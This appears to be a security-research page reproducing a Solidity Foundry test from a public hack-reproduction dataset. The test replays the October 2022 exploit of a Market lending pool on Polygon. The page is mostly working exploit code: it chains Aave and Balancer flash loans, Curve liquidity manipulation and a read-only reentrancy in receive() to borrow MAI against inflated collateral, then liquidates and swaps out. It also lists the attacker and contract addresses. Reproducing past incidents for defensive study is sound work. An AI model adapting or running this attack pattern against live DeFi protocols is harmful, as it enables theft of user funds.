Public reproduction file
src/test/2022-10/Market_exp.sol
Public reproduction file for dataset entry Market.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.17;4import "forge-std/Test.sol";6// Total Lost: $180k7// Attacker: 0x4206d62305d2815494dcdb759c4e32fca1d181a08// Attack Contract: 0xEb4c67E5BE040068FA477a539341d6aeF081E4Eb9// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe82394310// Attack Tx: https://phalcon.blocksec.com/tx/polygon/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d38755811// https://polygonscan.com/tx/0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d38755813// @Analyses14// https://quillaudits.medium.com/decoding-220k-read-only-reentrancy-exploit-quillaudits-30871d728ad515// https://ambergroup.medium.com/mai-finances-oracle-manipulation-vulnerability-explained-55e4b5cc2b8216// https://twitter.com/statemindio/status/158534176658819072017// https://twitter.com/BeosinAlert/status/158455139994136576319contract Liquidator {20 CErc20Interface private constant CErc20_mmooCurvestMATIC_MATIC_4 =21 CErc20Interface(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8);22 ICErc20Delegate private constant CErc20Delegate_mMAI_4 = ICErc20Delegate(0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943);23 BeefyVault private constant beefyVault = BeefyVault(0xE0570ddFca69E5E90d83Ea04bb33824D3BbE6a85);24 IERC20 private constant miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1);26 // https://www.youtube.com/watch?v=w-oVV0Ie3Fw&t=188s&ab_channel=SmartContractProgrammer27 function liquidate(28 address main29 ) external {30 // use 70_420 miMATIC as repayAmount for liquidation31 miMATIC.approve(address(CErc20Delegate_mMAI_4), type(uint256).max);32 require(33 CErc20Delegate_mMAI_4.liquidateBorrow(main, 70_420 ether, address(CErc20_mmooCurvestMATIC_MATIC_4)) == 0,34 "liquidate failed"35 );37 // redeem beefyVault token (mooCurvestMATIC-MATIC)38 CErc20_mmooCurvestMATIC_MATIC_4.redeem(CErc20_mmooCurvestMATIC_MATIC_4.balanceOf(address(this)));40 // transfer all tokens to main attack contract41 beefyVault.transfer(main, beefyVault.balanceOf(address(this)));42 miMATIC.transfer(main, miMATIC.balanceOf(address(this)));43 }44}46contract MarketExploitTest is Test {47 WETH9 private constant WMATIC = WETH9(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);48 IERC20 private constant stMATIC = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4);50 ILendingPool private constant aaveLendingPool = ILendingPool(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);51 IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);53 ICurvePool private constant vyperContract = ICurvePool(0xFb6FE7802bA9290ef8b00CA16Af4Bc26eb663a28);54 IERC20 private constant stMATIC_f = IERC20(0xe7CEA2F6d7b120174BF3A9Bc98efaF1fF72C997d); // Curve LP token55 BeefyVault private constant beefyVault = BeefyVault(0xE0570ddFca69E5E90d83Ea04bb33824D3BbE6a85); // mooCurvestMATIC-MATIC57 IUnitroller private constant unitroller = IUnitroller(0x627742AaFe82EB5129DD33D237FF318eF5F76CBC);58 IRouter private constant router = IRouter(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);59 Uni_Router_V3 private constant routerV3 = Uni_Router_V3(0xf5b509bB0909a69B1c207E495f687a596C168E12);61 CErc20Interface private constant CErc20_mmooCurvestMATIC_MATIC_4 =62 CErc20Interface(0x570Bc2b7Ad1399237185A27e66AEA9CfFF5F3dB8);63 ICErc20Delegate private constant CErc20Delegate_mMAI_4 = ICErc20Delegate(0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943);65 IERC20 private constant miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1); // MAI stablecoin66 IERC20 private constant USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);68 function setUp() public {69 vm.createSelectFork("polygon", 34_716_800); // fork Polygon at block 3471680070 vm.deal(address(this), 0); // set address(this).balance to 071 }73 function testHack() external {74 _aaveFlashLoan();76 console.log("\n Attacker's profit:");77 console.log("stMATIC:", stMATIC.balanceOf(address(this)) / 1e18);78 console.log("WMATIC:", WMATIC.balanceOf(address(this)) / 1e18);79 }81 function _aaveFlashLoan() internal {82 // flashloan WMATIC from Aave83 address[] memory assets = new address[](1);84 assets[0] = address(WMATIC);86 uint256[] memory amounts = new uint256[](1);87 amounts[0] = 15_419_963 ether;89 uint256[] memory modes = new uint256[](1);90 modes[0] = 0;92 aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);93 }95 function executeOperation( // Aave callback96 address[] memory assets,97 uint256[] memory amounts,98 uint256[] memory premiums,99 address initiator,100 bytes memory params101 ) external returns (bool) {102 _balancerFlashLoan();104 WMATIC.approve(address(aaveLendingPool), type(uint256).max); // repay105 return true;106 }108 function _balancerFlashLoan() internal {109 // flashloan WMATIC and stMATIC from Balancer110 address[] memory tokens = new address[](2);111 tokens[0] = address(WMATIC);112 tokens[1] = address(stMATIC);114 uint256[] memory amountsBalancer = new uint256[](2);115 amountsBalancer[0] = 34_580_036 ether; // + 15_419_963 Aave -> 50M debt116 amountsBalancer[1] = 19_664_260 ether;118 balancerVault.flashLoan(address(this), tokens, amountsBalancer, "");119 }121 function receiveFlashLoan( // Balancer callback122 IERC20[] memory tokens,123 uint256[] memory amounts,124 uint256[] memory feeAmounts,125 bytes memory userData126 ) external {127 _exploit();128 _liquidate();129 _sellAll();131 // repay132 stMATIC.transfer(address(balancerVault), 19_664_260 ether);133 WMATIC.transfer(address(balancerVault), 34_580_036 ether);134 }136 function _exploit() internal {137 // add liquidity to WMATIC/stMATIC Curve pool, receive Curve LP tokens stMATIC_f138 WMATIC.approve(address(vyperContract), type(uint256).max);139 stMATIC.approve(address(vyperContract), type(uint256).max);141 vyperContract.add_liquidity([uint256(19_664_260 ether), uint256(49_999_999 ether)], 0); // mint 34_640_026 stMATIC_f143 address[] memory market = new address[](1);144 market[0] = address(CErc20_mmooCurvestMATIC_MATIC_4);145 unitroller.enterMarkets(market);147 // deposit 90_000 stMATIC_f and mint 85901 mooCurvestMATIC-MATIC (BeefyVault token) as collateral to Market via Beefy Vault148 stMATIC_f.approve(address(beefyVault), type(uint256).max);149 beefyVault.deposit(90_000 ether);151 // use 85_901 mooCurvestMATIC-MATIC to mint 429_505 Ctokens152 beefyVault.approve(address(CErc20_mmooCurvestMATIC_MATIC_4), type(uint256).max);153 CErc20_mmooCurvestMATIC_MATIC_4.mint(beefyVault.balanceOf(address(this)));155 // remove liquidity from WMATIC/stMATIC Curve pool: receive WMATIC, stMATIC, miMATIC. This step increases collateral price156 vyperContract.remove_liquidity(stMATIC_f.balanceOf(address(this)), [uint256(0), uint256(0)], true); // burn stMATIC_f, trigger receive()157 }159 function _liquidate() internal {160 Liquidator liquidator = new Liquidator();161 miMATIC.transfer(address(liquidator), miMATIC.balanceOf(address(this))); // use MAI to liquidate collateral162 liquidator.liquidate(address(this));164 // take back stMATIC_f165 beefyVault.withdrawAll();167 // remove liquidity from Curve pool 2nd time168 vyperContract.remove_liquidity(stMATIC_f.balanceOf(address(this)), [uint256(0), uint256(0)], true); // burn stMATIC_f, trigger receive()169 }171 receive() external payable {172 // Borrow MAI with expensive collateral173 // (,uint256 amount,) = unitroller.getAccountLiquidity(address(this)); 191174 CErc20Delegate_mMAI_4.borrow(250_000 ether); // 250_000 miMATIC175 }177 function _sellAll() internal {178 // wrap all native MATIC (from remove_liquidity) to WMATIC179 WMATIC.deposit{value: address(this).balance}();181 // swap all miMATIC for WMATIC to repay Aave182 miMATIC.approve(address(router), type(uint256).max);183 address[] memory path = new address[](3);184 path[0] = address(miMATIC);185 path[1] = address(USDC);186 path[2] = address(WMATIC);187 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(188 miMATIC.balanceOf(address(this)), 0, path, address(this), type(uint256).max189 );191 // swap some WMATIC for stMATIC to repay Balancer192 WMATIC.approve(address(routerV3), type(uint256).max);193 Uni_Router_V3.ExactInputSingleParams memory _Params = Uni_Router_V3.ExactInputSingleParams({194 tokenIn: address(WMATIC),195 tokenOut: address(stMATIC),196 deadline: type(uint256).max,197 recipient: address(this),198 amountIn: 1355 ether,199 amountOutMinimum: 0,200 sqrtPriceLimitX96: 0201 });202 routerV3.exactInputSingle(_Params);203 }204}206/* -------------------- Interface -------------------- */207interface CErc20Interface {208 function mint(209 uint256 mintAmount210 ) external returns (uint256);211 function balanceOf(212 address account213 ) external view returns (uint256);214 function borrow(215 uint256 borrowAmount216 ) external returns (uint256);217 function redeem(218 uint256 amount219 ) external;220 function withdrawAll() external;221 function transfer(address to, uint256 amount) external returns (bool);222}224interface ICErc20Delegate {225 function liquidateBorrow(226 address borrower,227 uint256 repayAmount,228 address cTokenCollateral229 ) external returns (uint256);230 function borrow(231 uint256 borrowAmount232 ) external returns (uint256);233}235interface BeefyVault {236 function deposit(237 uint256 _amount238 ) external;239 function withdraw(240 uint256 _amount241 ) external;242 function withdrawAll() external;243 function balance() external view returns (uint256);244 function token() external view returns (address);245 function approve(address spender, uint256 amount) external returns (bool);246 function balanceOf(247 address owner248 ) external view returns (uint256);249 function transfer(address recipient, uint256 amount) external returns (bool);250}252interface IUnitroller {253 function enterMarkets(254 address[] memory cTokens255 ) external returns (uint256[] memory);256 function exitMarket(257 address cTokenAddress258 ) external returns (uint256);259 function cTokensByUnderlying(260 address261 ) external view returns (address);262 function getAccountLiquidity(263 address account264 ) external view returns (uint256, uint256, uint256);265}267interface IERC20 {268 function transfer(address to, uint256 amount) external returns (bool);269 function approve(address spender, uint256 amount) external returns (bool);270 function balanceOf(271 address account272 ) external view returns (uint256);273 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);274}276interface WETH9 {277 function deposit() external payable;278 function transfer(address to, uint256 value) external returns (bool);279 function approve(address guy, uint256 wad) external returns (bool);280 function withdraw(281 uint256 wad282 ) external;283 function balanceOf(284 address285 ) external view returns (uint256);286}288interface ILendingPool {289 function flashLoan(290 address receiverAddress,291 address[] calldata assets,292 uint256[] calldata amounts,293 uint256[] calldata modes,294 address onBehalfOf,295 bytes calldata params,296 uint16 referralCode297 ) external;298}300interface IBalancerVault {301 function flashLoan(302 address recipient,303 address[] memory tokens,304 uint256[] memory amounts,305 bytes memory userData306 ) external;307}309interface ICurvePool {310 function remove_liquidity(uint256 _amount, uint256[2] calldata min_amounts, bool donate_dust) external;311 function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external returns (uint256);312}314interface IRouter {315 function swapExactTokensForTokensSupportingFeeOnTransferTokens(316 uint256 amountIn,317 uint256 amountOutMin,318 address[] calldata path,319 address to,320 uint256 deadline321 ) external;322}324interface Uni_Router_V3 {325 struct ExactInputSingleParams {326 address tokenIn;327 address tokenOut;328 address recipient;329 uint256 deadline;330 uint256 amountIn;331 uint256 amountOutMinimum;332 uint160 sqrtPriceLimitX96;333 }335 function exactInputSingle(336 ExactInputSingleParams memory params337 ) external payable returns (uint256 amountOut);338}Analysis
Dataset entry
Public Foundry test for “Market” (2022-10-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame protocol or name in the dataset · 193 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4206d62305d2815494dcdb759c4e32fca1d181a0
- Attack Contract
0xeb4c67e5be040068fa477a539341d6aef081e4eb
- Vulnerable Contract
0x3dc7e6ff0fb79770fa6fb05d1ea4deacce823943
- Attack Tx
0xb8efe839da0c89daa763f39f30577dc21937ae351c6f99336a0017e63d387558
File record
- Name
- Market
- Path
- src/test/2022-10/Market_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 02f6490212dac1641f357d830d81aee74e3b96fc
- Language
- Solidity
- Size
- 339 lines
- Date
- 2022-10-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/Market_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 02f6490212dac1641f357d830d81aee74e3b96fc, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.